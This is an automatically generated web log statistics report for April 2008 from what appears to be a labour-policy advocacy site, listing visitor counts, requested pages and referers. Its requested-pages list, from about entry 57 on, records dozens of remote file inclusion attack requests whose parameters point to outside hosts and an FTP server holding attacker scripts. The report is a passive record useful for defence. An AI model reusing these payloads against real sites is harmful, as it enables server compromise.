| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |
| General information |
| Information about analyzed log files |
| Generated: Thu May 1 00:16:29 2008
|
| Number of entries processed 29224 |
| Number of invalid entries 0 |
| Processing time in seconds 8 |
| |
| Generated reports |
| Click on the report name you want to see |
| Number of reports generated 24 |
| Unique visitors in each day |
| Unique visitors in each month |
| Unique visitors from Google in each day |
| Unique visitors from Google in each month |
| Pageviews per visit |
| Weekday-Hour combined map |
| Month-Day combined map |
| Requested pages |
| Requested images and CSS |
| Referers |
| Referers by first time |
| Robots and web spiders |
| User agents |
| Operating Systems |
| Browsers |
| 404 Errors |
| Domains |
| Googled pages |
| Adsensed pages |
| Google Keyphrases |
| Google Keyphrases by first time |
| Google Human Language |
| Weekday distribution |
| Hours distribution |
| |
| Unique visitors in each day |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 3847 |
| Different days in logfile 30 |
| 01/Apr/2008 | 121 (3.1%) |
|
| 02/Apr/2008 | 152 (4.0%) |
|
| 03/Apr/2008 | 103 (2.7%) |
|
| 04/Apr/2008 | 129 (3.4%) |
|
| 05/Apr/2008 | 72 (1.9%) |
|
| 06/Apr/2008 | 103 (2.7%) |
|
| 07/Apr/2008 | 172 (4.5%) |
|
| 08/Apr/2008 | 129 (3.4%) |
|
| 09/Apr/2008 | 126 (3.3%) |
|
| 10/Apr/2008 | 140 (3.6%) |
|
| 11/Apr/2008 | 119 (3.1%) |
|
| 12/Apr/2008 | 129 (3.4%) |
|
| 13/Apr/2008 | 134 (3.5%) |
|
| 14/Apr/2008 | 113 (2.9%) |
|
| 15/Apr/2008 | 147 (3.8%) |
|
| 16/Apr/2008 | 104 (2.7%) |
|
| 17/Apr/2008 | 137 (3.6%) |
|
| 18/Apr/2008 | 122 (3.2%) |
|
| 19/Apr/2008 | 101 (2.6%) |
|
| 20/Apr/2008 | 93 (2.4%) |
|
| 21/Apr/2008 | 152 (4.0%) |
|
| 22/Apr/2008 | 122 (3.2%) |
|
| 23/Apr/2008 | 147 (3.8%) |
|
| 24/Apr/2008 | 141 (3.7%) |
|
| 25/Apr/2008 | 116 (3.0%) |
|
| 26/Apr/2008 | 120 (3.1%) |
|
| 27/Apr/2008 | 142 (3.7%) |
|
| 28/Apr/2008 | 174 (4.5%) |
|
| 29/Apr/2008 | 150 (3.9%) |
|
| 30/Apr/2008 | 137 (3.6%) |
|
| |
| Unique visitors in each month |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 3847 |
| Different months in logfile 1 |
| Apr/2008 | 3847 (100.0%) |
|
| |
| Unique visitors from Google in each day |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 3847 |
| Number of unique visitors from google 598 |
| Different days in logfile 30 |
| 01/Apr/2008 | 29 (24.0%) |
|
| 02/Apr/2008 | 28 (18.4%) |
|
| 03/Apr/2008 | 24 (23.3%) |
|
| 04/Apr/2008 | 14 (10.9%) |
|
| 05/Apr/2008 | 6 (8.3%) |
|
| 06/Apr/2008 | 12 (11.7%) |
|
| 07/Apr/2008 | 39 (22.7%) |
|
| 08/Apr/2008 | 21 (16.3%) |
|
| 09/Apr/2008 | 25 (19.8%) |
|
| 10/Apr/2008 | 23 (16.4%) |
|
| 11/Apr/2008 | 22 (18.5%) |
|
| 12/Apr/2008 | 9 (7.0%) |
|
| 13/Apr/2008 | 15 (11.2%) |
|
| 14/Apr/2008 | 17 (15.0%) |
|
| 15/Apr/2008 | 21 (14.3%) |
|
| 16/Apr/2008 | 18 (17.3%) |
|
| 17/Apr/2008 | 24 (17.5%) |
|
| 18/Apr/2008 | 20 (16.4%) |
|
| 19/Apr/2008 | 18 (17.8%) |
|
| 20/Apr/2008 | 13 (14.0%) |
|
| 21/Apr/2008 | 20 (13.2%) |
|
| 22/Apr/2008 | 27 (22.1%) |
|
| 23/Apr/2008 | 24 (16.3%) |
|
| 24/Apr/2008 | 23 (16.3%) |
|
| 25/Apr/2008 | 13 (11.2%) |
|
| 26/Apr/2008 | 13 (10.8%) |
|
| 27/Apr/2008 | 21 (14.8%) |
|
| 28/Apr/2008 | 19 (10.9%) |
|
| 29/Apr/2008 | 23 (15.3%) |
|
| 30/Apr/2008 | 17 (12.4%) |
|
| |
| Unique visitors from Google in each month |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 3847 |
| Number of unique visitors from google 598 |
| Different months in logfile 1 |
| Apr/2008 | 598 (15.5%) |
|
| |
| Weekday-Hour combined map |
| Brighter means higher level of hits |
| Hour with max traffic starting at We 07:00 with hits 69 |
| Hour with min traffic starting at Su 04:00 with hits 9 |
| |
| Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
| |
| Month-Day combined map |
| Brighter means higher level of hits |
| Day with max traffic is Apr 23 with hits 230 |
| Day with min traffic is Apr 20 with hits 125 |
| |
| Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
| |
| Pageviews per visit |
| Number of pages requested per visit |
| Only documents are counted (not images). Reported ranges: 13 |
| 1 | 1629 (66.5%) |
|
| 2 | 332 (13.5%) |
|
| 3 | 156 (6.4%) |
|
| 4 | 70 (2.9%) |
|
| 5 | 47 (1.9%) |
|
| 6 | 47 (1.9%) |
|
| 11-20 | 43 (1.8%) |
|
| 9 | 35 (1.4%) |
|
| 7 | 32 (1.3%) |
|
| 10 | 26 (1.1%) |
|
| 21-30 | 13 (0.5%) |
|
| 8 | 12 (0.5%) |
|
| > 30 | 9 (0.4%) |
|
| |
| Requested pages |
| Page requests ordered by hits |
| Different pages requested 1135 |
| 1) | 2295 | / |
| 2) | 1361 | /robots.txt |
| 3) | 513 | /news/norwoodSBPA.mp3 |
| 4) | 197 | /contactus/ |
| 5) | 177 | /helpcenter/ |
| 6) | 163 | /pdf/DanaBrief.pdf |
| 7) | 157 | /helpcenter |
| 8) | 148 | /aboutus/ |
| 9) | 146 | /aboutus |
| 10) | 144 | /legislativeupdate/ |
| 11) | 143 | /news/ |
| 12) | 137 | /helpcenter/remove.php |
| 13) | 136 | /contactus |
| 14) | 132 | /legislativeupdate |
| 15) | 131 | /legalcenter/ |
| 16) | 131 | /legalcenter |
| 17) | 123 | /news |
| 18) | 122 | /legislativeupdate/efca.php |
| 19) | 122 | /helpcenter/strike.php |
| 20) | 113 | /helpcenter/nrlb.php |
| 21) | 112 | /links |
| 22) | 110 | /specialevents |
| 23) | 108 | /legislativeupdate/iowa.php |
| 24) | 108 | /links/ |
| 25) | 107 | /helpcenter/neutrality.php |
| 26) | 106 | /aboutus/unionstoday.php |
| 27) | 105 | /news/070502hunter.php |
| 28) | 104 | /getinvolved |
| 29) | 97 | /getinvolved/ |
| 30) | 96 | /specialevents/ |
| 31) | 95 | /news/070910oped.php |
| 32) | 93 | /NAWERBrochureFinal.pdf |
| 33) | 91 | /legislativeupdate/pp.php |
| 34) | 84 | /legislativeupdate/SBPAcase.php |
| 35) | 80 | /legislativeupdate/hr980letter.php |
| 36) | 79 | /legislativeupdate/SBPAib.php |
| 37) | 73 | /legislativeupdate/fidcomments.php |
| 38) | 72 | /news/index.php |
| 39) | 72 | /legalcenter/pledge-signers.php |
| 40) | 62 | /news/070719westmoreland.php?r110:1:./temp/~r1100I48ai:e33492: |
| 41) | 60 | /reports/2006-03.html |
| 42) | 60 | /helpcenter/keep.php |
| 43) | 57 | /reports/2006-10.html |
| 44) | 54 | /news/fatcat.php |
| 45) | 49 | /legislativeupdate/iowatalkingpoints.php |
| 46) | 48 | /legislativeupdate/iowaHF324summary.php |
| 47) | 47 | /legislativeupdate/lm30comments.php |
| 48) | 47 | /legislativeupdate/LM30finalruling.php |
| 49) | 47 | /pdf/082307lt-coaltion_HR3043.pdf |
| 50) | 45 | /pdf/pledgecongressPR.pdf |
| 51) | 43 | /news/060928demint.php |
| 52) | 43 | /pdf/nawerpledge.pdf |
| 53) | 43 | /helpcenter/qanda.php |
| 54) | 41 | /pdf/pledgecongressletter.pdf |
| 55) | 40 | /helpcenter/beck.php |
| 56) | 40 | /contactus/index.php |
| 57) | 38 | /reports/2006-10.html/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.u... |
| 58) | 38 | /reports/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.uk/xxxnew/sIFR... |
| 59) | 38 | /lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.uk/xxxnew/sIFR3/.inc/p... |
| 60) | 38 | /legislativeupdate/iowalegislators.php |
| 61) | 38 | /reports/2006-01.html |
| 62) | 36 | /legislativeupdate/iowacoalitionmembers.php |
| 63) | 34 | /news/050919wsj.php |
| 64) | 34 | /aboutus/congress.php |
| 65) | 33 | /reports/2005-12.html |
| 66) | 33 | /reports/2007-10.html/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.u... |
| 67) | 33 | /pdf/ImmigrationBrief.pdf |
| 68) | 32 | /reports/2007-08.html |
| 69) | 31 | /legislativeupdate/Iowa_house_color.pdf |
| 70) | 30 | /news/newface.php |
| 71) | 29 | /legislativeupdate/hr874letter.php |
| 72) | 28 | /news/2006.php |
| 73) | 28 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.cdpm3.com/id.txt? |
| 74) | 27 | /reports/2007-01.html |
| 75) | 27 | /reports/2007-10.html/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www... |
| 76) | 27 | /news/news/070424colorado.php |
| 77) | 27 | /reports/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.cdpm3.com/id... |
| 78) | 27 | /news/2005.php |
| 79) | 26 | /legislativeupdate/secletter.php |
| 80) | 26 | /reports/2006-04.html |
| 81) | 25 | /news/050829wsj.php |
| 82) | 25 | /pdf/dbletter.pdf |
| 83) | 23 | /pdf/iowa-SurveyResultsRttoWork.pdf |
| 84) | 23 | /news/050815wsj.php |
| 85) | 22 | /pdf/NAWERImmigrationOp-Ed.pdf |
| 86) | 21 | /reports/2006-07.html |
| 87) | 20 | /reports/2006-06.html |
| 88) | 19 | /legalcenter/pdf/dbletter.pdf |
| 89) | 18 | /pdf/ImmigrationBrief.pdf?id=66412 |
| 90) | 18 | /reports/2007-04.html |
| 91) | 17 | /pdf/ |
| 92) | 16 | /legislativeupdate/pdf/Financial_Services_DB_Letter_3_5_07.pdf |
| 93) | 15 | /reports/2007-06.html |
| 94) | 15 | /reports/2007-10.html |
| 95) | 15 | /news/051108dpf.php |
| 96) | 14 | /news/050728cst.php |
| 97) | 14 | /reports/2007-02.html |
| 98) | 14 | /reports/2006-05.html |
| 99) | 13 | /reports/2007-07.html |
| 100) | 13 | /reports/2007-10.html/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.u... |
| 101) | 13 | /news/051004wsj.php |
| 102) | 13 | /reports/2006-10.html/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.u... |
| 103) | 13 | /reports/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.uk/xxxnew/sIFR... |
| 104) | 13 | /lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://www.omegadm.co.uk/xxxnew/sIFR3/.inc/i... |
| 105) | 12 | /contactus/join-process.php |
| 106) | 12 | /index.php?spage=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 107) | 12 | /reports/2006-10.html/index.php?spage=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 108) | 12 | /reports/index.php?spage=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 109) | 12 | /news/050905nawer.php |
| 110) | 12 | /reports/2006-09.html |
| 111) | 11 | /reports/2007-05.html//index.php?k=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 112) | 11 | /reports/2006-10.htmlhttp://yoshishome.chat.ru/images? |
| 113) | 11 | /reports//index.php?k=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 114) | 11 | /reports/2006-06.htmlhttp://yoshishome.chat.ru/images? |
| 115) | 11 | //index.php?k=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 116) | 10 | /reports/2007-08.html//index.php?k=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 117) | 10 | /reports/2006-05.htmlhttp://afterwedding.eclub.lv/images? |
| 118) | 10 | /reports/2006-12.html |
| 119) | 10 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=ftp://84.32.137.157/incoming/u... |
| 120) | 10 | /news/051020ln.php |
| 121) | 10 | /reports//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=ftp://84.32.137.157/in... |
| 122) | 10 | /reports/2007-10.html//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=ftp://84.... |
| 123) | 10 | /news/051027wsj.php |
| 124) | 9 | /reports/2007-09.html |
| 125) | 9 | /reports/2006-06.htmlhttp://myownmarriage.chat.ru/images? |
| 126) | 9 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://iulian.pokol.hu/on.txt??... |
| 127) | 9 | /news/060125.php |
| 128) | 9 | /legislativeupdate/SBPAcase.php/ |
| 129) | 8 | /reports/includes/stats.inc.php?prefix=http://www.cdpm3.com/id.txt? |
| 130) | 8 | /reports/ |
| 131) | 8 | /pdf/Financial_Services_DB_Letter_3_5_07.pdf |
| 132) | 8 | /helpcenter//helpcenter/inc/pipe.php?HCL_path=http://xdengue02.iespana.es/idw.txt??? |
| 133) | 8 | /reports/2006-10.htmlhttp://myownmarriage.chat.ru/images? |
| 134) | 8 | /reports/2007-03.html |
| 135) | 8 | /reports/2006-08.html |
| 136) | 8 | //helpcenter/inc/pipe.php?HCL_path=http://xdengue02.iespana.es/idw.txt??? |
| 137) | 8 | /news/070424colorado.php |
| 138) | 8 | /reports/2005-11.html/includes/stats.inc.php?prefix=http://www.cdpm3.com/id.txt? |
| 139) | 8 | /helpcenter/strike.php//helpcenter/inc/pipe.php?HCL_path=http://xdengue02.iespana.es/idw.txt??? |
| 140) | 8 | /includes/stats.inc.php?prefix=http://www.cdpm3.com/id.txt? |
| 141) | 7 | /reports/home.php?qry=http://www.casadaserra.kit.net/id.txt??? |
| 142) | 7 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://unisel.t35.com/abe.txt?? |
| 143) | 7 | //topsites/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://eurotandem2008.free... |
| 144) | 7 | /home.php?qry=http://www.casadaserra.kit.net/id.txt??? |
| 145) | 7 | /reports/2007-10.html/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://uni... |
| 146) | 7 | /reports//topsites/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://eurotandem2... |
| 147) | 7 | /reports/2007-07.html/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www... |
| 148) | 7 | /reports/2006-10.html/home.php?qry=http://www.casadaserra.kit.net/id.txt??? |
| 149) | 7 | /reports/2006-10.htmlhttp://workersparty.chat.ru/images? |
| 150) | 7 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.freewebtown.com/op11... |
| 151) | 7 | /reports/2007-10.html//topsites/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http:... |
| 152) | 7 | /reports/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://unisel.t35.com/a... |
| 153) | 6 | /reports/2006-12.html/index.php?spage=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 154) | 6 | /sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://ieras.ru/tmp/nid.txt? |
| 155) | 6 | /reports/2006-06.htmlhttp://myluckypotparty.chat.ru/images? |
| 156) | 6 | /reports//topsites/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://geocities.c... |
| 157) | 6 | /reports/2007-08.html/main.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 158) | 6 | /reports/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.liautism.com... |
| 159) | 6 | //topsites/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://geocities.com/d_ibe... |
| 160) | 6 | /reports/2006-06.htmlhttp://workersparty.chat.ru/images? |
| 161) | 6 | /reports/2007-05.html |
| 162) | 6 | /reports/2006-05.htmlhttp://ironmanshome.chat.ru/images? |
| 163) | 6 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.liautism.com/compone... |
| 164) | 6 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://ieras.ru/tmp/nid.txt? |
| 165) | 6 | /reports/2007-07.html/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www... |
| 166) | 6 | /reports/2006-06.htmlhttp://afterwedding.eclub.lv/images? |
| 167) | 6 | /reports/2005-11.html |
| 168) | 6 | /reports/main.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 169) | 6 | /main.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 170) | 5 | /reports/2007-10.html//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://al... |
| 171) | 5 | /reports/2006-10.htmlhttp://andysplog.chat.ru/images? |
| 172) | 5 | /reports/2006-10.html/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://ieras.ru... |
| 173) | 5 | /option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=http://www.upfni.com//modules/Forum... |
| 174) | 5 | /reports//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://albaworld.extra... |
| 175) | 5 | /index.php?spage=ftp://84.32.137.157/incoming/upload/trec/oldbisok?? |
| 176) | 5 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=ftp://84.32.137.157/incoming/up... |
| 177) | 5 | /reports/2007-04.html/index.php?spage=http://www.upfni.com//modules/Forums/admin/.muie/id.txt??? |
| 178) | 5 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://www.stardvb.com/attach/... |
| 179) | 5 | /reports/2006-06.html/home.php?qry=http://www.casadaserra.kit.net/id.txt??? |
| 180) | 5 | /reports/2007-07.html//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://al... |
| 181) | 5 | /reports/option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=http://www.upfni.com//modul... |
| 182) | 5 | /reports/voir.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 183) | 5 | /reports/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=http://ieras.ru/tmp/nid.txt? |
| 184) | 5 | /reports/2007-08.html/voir.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 185) | 5 | /reports/2006-10.htmlhttp://myluckypotparty.chat.ru/images? |
| 186) | 5 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://albaworld.extra.hu/id.t... |
| 187) | 5 | /voir.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 188) | 4 | /reports/2006-10.html/index.php?spage=http://64.185.237.35/~hostingv/1/2/3/4/5/6/7/8/id.txt? |
| 189) | 4 | /reports//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://modelroom.com/c... |
| 190) | 4 | /reports/2007-07.html//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://mo... |
| 191) | 4 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://h1.ripway.com/rhowners/... |
| 192) | 4 | /reports/magazine.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 193) | 4 | /reports/2006-02.html |
| 194) | 4 | /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://ieras.ru/tmp/blpid.txt??... |
| 195) | 4 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://aceperform.890m.com/tes... |
| 196) | 4 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://modelroom.com/cache/idn... |
| 197) | 4 | /reports/includes/stats.inc.php?prefix=http://www.yogyacardus.com/var/echo.txt?? |
| 198) | 4 | /reports//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://aceperform.890m... |
| 199) | 4 | /reports/2007-08.html/magazine.php?inc=ftp://84.32.137.157/incoming/upload/trem/oldbisok?? |
| 200) | 4 | //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://simoneleitao.com/id.txt... |
| |
| Requested images and CSS |
| Images and CSS requests ordered by hits |
| Different images and CSS requested 62 |
| 1) | 1974 | /media/scripts/global.js |
| 2) | 1902 | /media/images/leftback.gif |
| 3) | 1873 | /media/images/rightback.gif |
| 4) | 1300 | /media/css/structure.css |
| 5) | 1132 | /media/images/takeaction.jpg |
| 6) | 1123 | /media/images/taxbanner.gif |
| 7) | 1123 | /media/images/searchback.jpg |
| 8) | 1122 | /media/images/back.jpg |
| 9) | 1121 | /media/images/logo.jpg |
| 10) | 1116 | /media/images/listbox.gif |
| 11) | 996 | /favicon.ico |
| 12) | 485 | /media/images/reaganHome.jpg |
| 13) | 481 | /media/images/Lynnwestmoreland.jpg |
| 14) | 475 | /media/images/ballot_box.jpg |
| 15) | 474 | /media/images/icon_issues_action.gif |
| 16) | 26 | /media/images/NAWERSecretBallot_468x60.gif |
| 17) | 12 | /favicon.gif |
| 18) | 11 | /media/images/wsjbox.gif |
| 19) | 10 | /legislativeupdate/media/css/structure.css |
| 20) | 7 | /legislativeupdate/media/images/takeaction.jpg |
| 21) | 4 | /media/images/wilson.jpg |
| 22) | 4 | /helpcenter/info.png |
| 23) | 4 | /images/back.jpg |
| 24) | 4 | /images/searchback.jpg |
| 25) | 4 | /images/leftback.gif |
| 26) | 4 | /images/logo.jpg |
| 27) | 3 | /images/Media_Coverage.jpg |
| 28) | 3 | /images/Publication-Study_or_Report-Fiscal_Policy_Memo.jpg |
| 29) | 3 | /images/Publication-Study_or_Report-Fiscal_Fact.jpg |
| 30) | 3 | /media/images/Publication-Study_or_Report-Special_Report.jpg |
| 31) | 3 | /images/pdf_icon.gif |
| 32) | 3 | /images/Commentary.jpg |
| 33) | 3 | /images/Publication-Study_or_Report-Background-Paper.jpg |
| 34) | 3 | /media/images/Publication-Study_or_Report-Fiscal_Fact.jpg |
| 35) | 3 | /images/swf_icon.gif |
| 36) | 3 | /images/Publication-Book.jpg |
| 37) | 3 | /media/images/Event.jpg |
| 38) | 3 | /media/images/Publication-Study_or_Report-Fiscal_Policy_Memo.jpg |
| 39) | 3 | /images/listbox.gif |
| 40) | 3 | /images/Publication-Study_or_Report-Special_Brief.jpg |
| 41) | 3 | /media/images/Data.jpg |
| 42) | 3 | /media/images/Press_Release.jpg |
| 43) | 3 | /media/images/Media_Coverage.jpg |
| 44) | 3 | /images/taxbanner.gif |
| 45) | 3 | /images/Press_Release.jpg |
| 46) | 3 | /images/mp3_icon.gif |
| 47) | 3 | /images/Event.jpg |
| 48) | 3 | /media/images/Commentary.jpg |
| 49) | 3 | /images/xls_icon.gif |
| 50) | 3 | /images/Data.jpg |
| 51) | 3 | /media/images/Publication-Study_or_Report-Background-Paper.jpg |
| 52) | 3 | /media/images/Publication-Book.jpg |
| 53) | 3 | /media/images/Publication-Study_or_Report-Special_Brief.jpg |
| 54) | 3 | /images/rightback.gif |
| 55) | 3 | /images/Publication-Study_or_Report-Special_Report.jpg |
| 56) | 2 | /media/images/mp3_icon.gif |
| 57) | 2 | /__utm.gif |
| 58) | 2 | /legislativeupdate/info.png |
| 59) | 2 | /media/images/pdf_icon.gif |
| 60) | 2 | /media/images/xls_icon.gif |
| 61) | 2 | /media/images/swf_icon.gif |
| 62) | 1 | /legislativeupdate/GET KASH_files/structure.css |
| |
| Referers |
| Referers ordered by visits (google excluded) |
| Different referers 345 |
| 1) | 3201 | none |
| 2) | 660 | Internal Link |
| 3) | 397 | Google Search Engine |
| 4) | 65 | http://202.108.23.172/index.html |
| 5) | 58 | http://220.181.38.82/index.html |
| 6) | 58 | http://music.soso.com |
| 7) | 24 | http://en.wikipedia.org/wiki/Card_check |
| 8) | 20 | http://freeworkplace.org/ |
| 9) | 17 | http://en.wikipedia.org/wiki/Employee_Free_Choice_Act |
| 10) | 12 | http://en.wikipedia.org/wiki/General_strike |
